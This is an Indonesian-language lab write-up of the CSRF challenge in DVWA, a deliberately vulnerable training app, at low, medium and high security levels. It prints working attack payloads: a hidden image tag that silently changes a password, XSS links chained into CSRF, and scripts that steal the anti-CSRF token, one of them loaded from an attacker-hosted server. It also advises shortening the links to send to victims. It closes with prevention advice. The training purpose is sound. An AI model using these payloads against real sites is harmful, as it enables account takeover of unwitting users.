DVWA Series: CSRF

⏱️12 min read

Intro

DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.

Disclaimer

Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.

Apa itu CSRF?

Untuk video pnjelasan yang lebih ringan bisa lihat video berikut:

Dari video tersebut bisa dikatakan bahwa. Cross-Site Request Forgery dikenal juga dengan nama one click attack atau session riding dan biasa disingkat menjadi CSRF atau XSRF. Mudahnya, serangan CSRF ini menipu situs web dengan cara penyerang membuat request yang seolah-olah request tersebut berasal dari user yang dipercaya (korban).

Serangan bekerja melalui link atau script pada halaman web yang diakses oleh user. Link tersebut dapat berupa gambar yang terhubung ke website tertentu.

Jika browser korban menyimpan informasi otentikasi dalam sebuah cookie yang belum expire, maka dengan mengklik ke link tersebut akan menyebabkan website diakses menggunakan cookie victim yang melakukan klik. Dengan kata lain, penyerang menipu browser user untuk mengirimkan HTTP request ke website target.

Sumber : https://portswigger.net/web-security/csrf

Security Level: Low


<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Information Gathering

Terdapat form ubah password admin. Secara default, credetial yang telah diatur untuk DVWA adalah admin:password. Pertama kita kumpulkan informasi dengan mencoba mengganti password kemudian lihat HTTP request dan response menggunakan Burpsuite. 1

Terlihat bahwa request tersebut menggunakan method GET dan kita bisa tahu parameter yang dikirim ketika melakukan request.

Launch Attack

Karena serangan CSRF ini menipu situs web dengan cara penyerang membuat request yang seolah-olah request tersebut berasal dari user yang dipercaya (korban). Untuk lebih mudahnya kita buat sekenario sebagai berikut. Saya (seorang hacker yang berniat jahat) membuat website untuk diakses oleh korban. Tampilan halaman webnya adalah seperti berikut: 2

Website tersebut tidak terlihat bebrbahaya. karena korban hanya akan lihat gambar kucing yang lucu. Tapi coba kita lihat source code dibaliknya

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Kucing.com</title>
</head>
<body>
    <h1>Hanya Kucing Tidak Ada Apa-Apa</h1>
    <img src="./maxresdefault.jpg">
    <img style="display: none;" src="http://192.168.1.6/vulnerabilities/csrf/?password_new=testCSRF&password_conf=testCSRF&Change=Change">
</body>
</html>
<img style="display: none;" src="http://192.168.1.6/vulnerabilities/csrf/?password_new=testCSRF&password_conf=testCSRF&Change=Change">

Perhatikan tag img . Alih-alih src yang seharusnya merujuk ke aset gambar (contoh: png atau jpeg), saya membuatnya merujuk (pointing) ke endpoint form perubahan password yang kita tuju dan melakukan perubahan password menjadi “testCSRF”.

Jadi ketika korban mengunjungi website tersebut, ia tidak sadar bahwa sesuatu telah terjadi. Coba kita lihat request yang dilakukan. 3

Dapat dilihat pada gambar di atas ketika korban mengunjungi website tersebut maka website tersebut akan mengirim request GET untuk mengubah password melalui endpoint yang sebelumnya kita dapatkan. Dan karena request ini berasal dari browser korban, dan asumsikan korban sudah melakukan autentikasi (login), maka PHPSESSID akan terkirim di HTTP cookie-nya.

Sehingga kita sebagai hacker/attacker dapat melakukan login menggunakan password yang baru.

Security Level: Medium


<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Information Gathering

Untuk tantangan level medium, ada pemeriksaan untuk melihat dari mana halaman terakhir yang diminta berasal. Developer membuat validasi dan hanya mempercayai jika cocok dengan domain saat ini, itu harus berasal dari aplikasi web sehingga dapat dipercaya.

Developer menggunakan stripos() berfungsi untuk mencari adanya substring dalam sebuah string (case-insensitive). Dalam kasus ini mungkin developer bermaksud ingin membuat semua request berasal dari website-nya. Terlihat bahwa di baris ke-5 terdapat validasi bahwa jika HTTP_REFERER mengandung kata dari SERVER_NAME maka akan bernilai true dan proses akan dilanjutkan.

Jika kita menggunakan cara sebelumnya, maka proses perubahan password akan gagal karena referer tidak mengandung kata dari server name/host. 4

Untuk menyelesaikan ini kita perlu memanfaatkan vulnerability lain yaitu XSS

Launch Attack

Kita dapat memanfaatkan salah satunya kerentanan XSS Reflected yaitu kita perlu mengirimkan link kepada korban yang berisi payload. Contoh:

http://192.168.1.6/vulnerabilities/xss_r/?name=<img style="display: none;" src="http://192.168.1.6/vulnerabilities/csrf/?password_new=testCSRF&password_conf=testCSRF&Change=Change">

Kemudian kita encode mengunakan tools URLEncode (silakan ari di google) menjadi:

http://192.168.1.6/vulnerabilities/xss_r/?name=%3Cimg+style%3D%22display%3A+none%3B%22+src%3D%22http%3A%2F%2F192.168.1.6%2Fvulnerabilities%2Fcsrf%2F%3Fpassword_new%3DtestCSRF%26password_conf%3DtestCSRF%26Change%3DChange%22%3E#

payload tersebut biasanya dikirimkan kepada korban setelah diperpendek menggunakan shortener link seperti s.id, bit.ly, tinyurl.com, dll 5

Coba kita lihat requestnya menggunakan burpsuite. 6

password berhasil diubah.

Security Level: High


<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Information Gathering

Pada level high ini diketahuii adanya penggunaan token yang setiap kali kita restart halaman akan berubah. Nilai dari parameter ini nantinya akan divalidasi kecocokannya dengan yang ada di server. Ini lah yang dinamakan Anti-CSRF token yang berfungsi untuk memastikan bahwa request dilakuakan secara sah. Jika kita melakukan inspect element pada level high ini, maka akan terlihat bahwa terdapat parameter user_token yang sengaja disembunyikan oleh developer. 7

user_token ini akan terkirim ketika kita melakukan request. 8

Sumber: https://systemweakness.com/hackerman-sergio-csrf-tutorial-dvwa-high-security-level-4cba47f2d695

Lunch Attack

Cara Pertama (Memanfaatkan celah Unrestricted File Upload)

Sumber: https://systemweakness.com/hackerman-sergio-csrf-tutorial-dvwa-high-security-level-4cba47f2d695

Jadi skenarionya, kita akan menjalankan file html melalui Unrestricted file upload untuk mendapatkan nilai dari token tersebut, lalu melakukan CSRF untuk merubah password.

Pertama kita buat dulu file html kemudian kita upload dengan memanfaatkan celah unrestricted file upload. Berikut isi file test.html:

<html>
 <body>
  <h1>Kucing Lucu</h1>
  <iframe id="myFrame" src="http://192.168.1.6/vulnerabilities/csrf" style="visibility: hidden;" onload="maliciousPayload()"></iframe>
  <script>
   function maliciousPayload() {
    console.log("start");
    var iframe = document.getElementById("myFrame");
    var doc = iframe.contentDocument  || iframe.contentWindow.document;
    var token = doc.getElementsByName("user_token")[0].value;
    const http = new XMLHttpRequest();
    const url = "http://192.168.1.6/vulnerabilities/csrf/?password_new=testing&password_conf=testing&Change=Change&user_token="+token+"#";
    http.open("GET", url);
    http.send();
    console.log("password changed");
   }
  </script>
 </body>
</html>

9

kemudian kita kirimkan link menuju file yang kita upload kepada target/korban

http://192.168.1.6/hackable/uploads/test.html

10

Ketika korban mengakses halaman tersebut maka secara otomatis password akan terganti. 11

Cara Kedua (Memanfaatkan celah XSS)

sumber: https://hd7exploit.wordpress.com/2017/05/27/dvwa-csrf-high-level/

Jadi skenarionya, kita akan menjalankan JavaScript melalui XSS untuk mendapatkan nilai dari token tersebut, lalu melakukan CSRF untuk merubah password. Pertama kita buat script javascript terlebih dahulu:

var theUrl = 'http://192.168.1.6/vulnerabilities/csrf/';
var pass = 'Cara2-XSS';
if (window.XMLHttpRequest){
    xmlhttp=new XMLHttpRequest();
}else{
    xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.withCredentials = true;
var hacked = false;
xmlhttp.onreadystatechange=function(){
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        var token = match[1];
        var new_url = 'http://192.168.1.6/vulnerabilities/csrf/?user_token='+token+'&password_new='+pass+'&password_conf='+pass+'&Change=Change'
        if(!hacked){
            //alert('Got token:' + match[1]);
            hacked = true;
            xmlhttp.open("GET", new_url, false );
            xmlhttp.send();
        }
        count++;
    }
};
xmlhttp.open("GET", theUrl, false );
xmlhttp.send();

Selanjutnya kita upload file tersebut ke server yang bisa diakses oleh DVWA contohnya saya menggunakan simple http server dengan alamat http://127.0.0.1:8088/ExploitJS/exploitCSRF.js. Setelah itu lakukan serangan XSS sebagai contoh saya menggunakan XSS DOM dan jalankan script JS yang telah kita buat sebelumnya.

http://192.168.1.6/vulnerabilities/xss_d/?default=English#<script src="http://127.0.0.1:8088/ExploitJS/exploitCSRF.js"></script>

Kemudian kirimkan link tersebut ke target/korban. Maka ketika korban mengeklik link tersebut maka secara otomatis password korban akan terganti. 12

13

Menghindari CSRF

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Menggunakan CSRF-Token yang: - Divalidasi secara ketat dalam setiap kasus sebelum tindakan yang relevan dijalankan. - Terikat ke user session. - gunakan entropi tinggi untuk sessions token secara umum Menyertakan token user-specific rahasia yang ditambahkan ke cookie.

Menggunakan SSL (Secure Socket Layer) and TLS (Transport Layer Security) encryption ketika berurusan dengan data yang sensitive.

Setting dan restrict security terkait HTTP Header, diantaranya Mengatur Content-Security-Policy, Menonaktifkan X-Powered-By, Mengatur Strict-Transport-Security, Mengatur X-XSS-Protection.

Untuk lebih jelasnya silakan kunjungi : Cross-Site Request Forgery Prevention - OWASP Cheat Sheet Series